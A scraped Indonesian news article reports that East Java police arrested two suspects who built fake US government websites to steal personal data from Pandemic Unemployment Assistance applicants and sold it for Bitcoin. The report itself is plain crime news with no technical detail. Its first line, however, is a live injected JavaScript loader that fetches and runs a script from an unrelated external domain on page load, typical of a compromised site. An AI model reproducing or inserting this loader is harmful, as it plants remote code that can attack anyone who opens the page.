(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Hacker di Indonesia Bobol Data Pemohon Bansos AS, Dapat Duit Banyak


KANALKALIMANTAN.COM, SURABAYA – Kepolisian Daerah Jawa Timur membekuk dua tersangka pembuat scampage atau website palsu yang menyerupai laman resmi pemerintah Amerika Serikat.

Laman itu digunakan untuk menipu dan membobol data warga AS pemohon dana bantuan sosial bagi korban dampak pandemi di AS atau Pandemic Unemployment Assistance (PUA). Data para warga AS di laman itu selanjutnya dijual.

Dari kejahatan kedua tersangka selama hampir setahun itu, mereka disebut mendapat keuntungan sedikitnya hampir setengah miliar rupiah.

Baca juga: Dua Hari, 3 Warga Banjarbaru Meninggal Karena Covid-19

 

Kapolda Jatim Irjen Pol Nico Afinta mengungkapkan aksi kedua tersangka tersebut diketahui tim penyidik Ditreskrimsus Polda Jatim pada 1 Maret 2021 di salah satu kamar hotel di Surabaya Selatan.

“Kedua tersangka yang terlibat berinisial SFR (penyebar scampage) dan MZMSBP (pembuat scampage). Sedangkan korban adalah orang yang mengisi data pribadinya ke dalam scampage atau website palsu, khususnya Warga negara Amerika,” kata Nico, seperti yang disiarkan di laman Polres Mojokerto Kamis (15/04).

Menurut dia, keuntungan yang didapat tersangka berupa mata uang krypto Bitcoin yang bisa dikonversikan menjadi mata uang rupiah, yang diberikan oleh tersangka lain berinisial S – warga India dan masuk dalam Daftar Pencarian Orang (DPO).

Perbuatan kedua tersangka yang dibongkar polisi tersebut atas permintaan S.
“Menurut percakapan mereka, data pribadi tersebut digunakan oleh S untuk mencairkan dana PUA (Pandemic Unemployment Assistance) atau dana bantuan untuk pengangguran warga negara Amerika senilai US$2.000 setiap satu data orang, dan juga untuk dijual lagi seharga US$100 setiap satu data orang,” tambahnya.

Baca juga: Simpan Sabu dan Ekstasi, Buruh Bangunan di Banjarmasin Dicokok Polisi

Data pribadi milik warga negara Amerika yang telah didapatkan oleh tersangka SFR dan telah diberikan kepada S via percakapan Whatsapp dan Telegram sekitar 30.000 data.

“Keuntungan yang diterima tersangka SFR selama melakukan perbuatan tersebut kurang lebih sebesar US$30.000, atau sekitar Rp420.000.000,” ungkap Kapolda.
Sedangkan keuntungan yang telah diterima oleh tersangka MZMSBP selama melakukan perbuatan tersebut sekitar Rp60.000.000.

Bagaimana kasus ini terbongkar?

Terbongkarnya kasus itu berawal pada 1 Maret 2021 ketika petugas Siber Ditreskrimsus Polda Jatim mendapati adanya kegiatan penyebaran scampage alias website palsu yang menyerupai website resmi pemerintahan Amerika melalui SMS, yang dilakukan oleh tersangka SFR.

Dalam perangkat laptop dan ponselnya ditemukan bukti-bukti scampage dan juga data-data pribadi milik warga AS yang didapatkan dari penyebaran scampage tersebut.

Baca juga: BREAKING NEWS: Laki-laki Tak Bernyawa Ditemukan dalam Hotel di Banjarmasin

Selanjutnya petugas Siber Polda Jatim menemukan tersangka MZMSBP di dekat Stasiun Kereta Api Pasar Turi Surabaya, lalu menemukan adanya script scampage/website palsu yang tersimpan di dalam laptopnya,” ungkap Kapolda.
Kedua tersangka mengaku membuat website palsu secara otodidak. Mereka beraksi dari Mei tahun sampai akhirnya dibekuk polisi.

Kapolda mengungkapkan tim siber Polda Jatim melakukan penyelidikan selama tiga bulan, berkoordinasi dengan Mabes Polri dan FBI. “Setelah mendapatkan bukti, baru keduanya ditangkap,” terang Nico.

Baca juga: Satpol PP Banjarmasin Bakal Tertibkan Warung Sakadup dan Manusia Gerobak Selama Ramadhan

Menurut Nico kepada media, para tersangka membuat 14 website palsu kemudian mengirim SMS berisi tautan web palsu itu ke banyak nomor warga Amerika. Korban yang tidak sadar mengisi data di website tersebut, ungkap Kapolda.

Kedua tersangka diganjar Pasal 32 ayat (2) Jo pasal 48 ayat (2) UU RI nomor 19 tahun 2016 tentang perubahan atas UU nomor 11 tahun 2008 tentang Informasi dan Transaksi Elektronik Jo pasal 55 ayat (1) KUHP, dengan ancaman hukuman 9 tahun penjara dan/atau denda paling banyak Rp3 miliar. (suara.com)

Editor : kk


Al Ghifari

Recent Posts

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

36 menit ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

6 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

7 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

9 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

13 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

22 jam ago

This website uses cookies.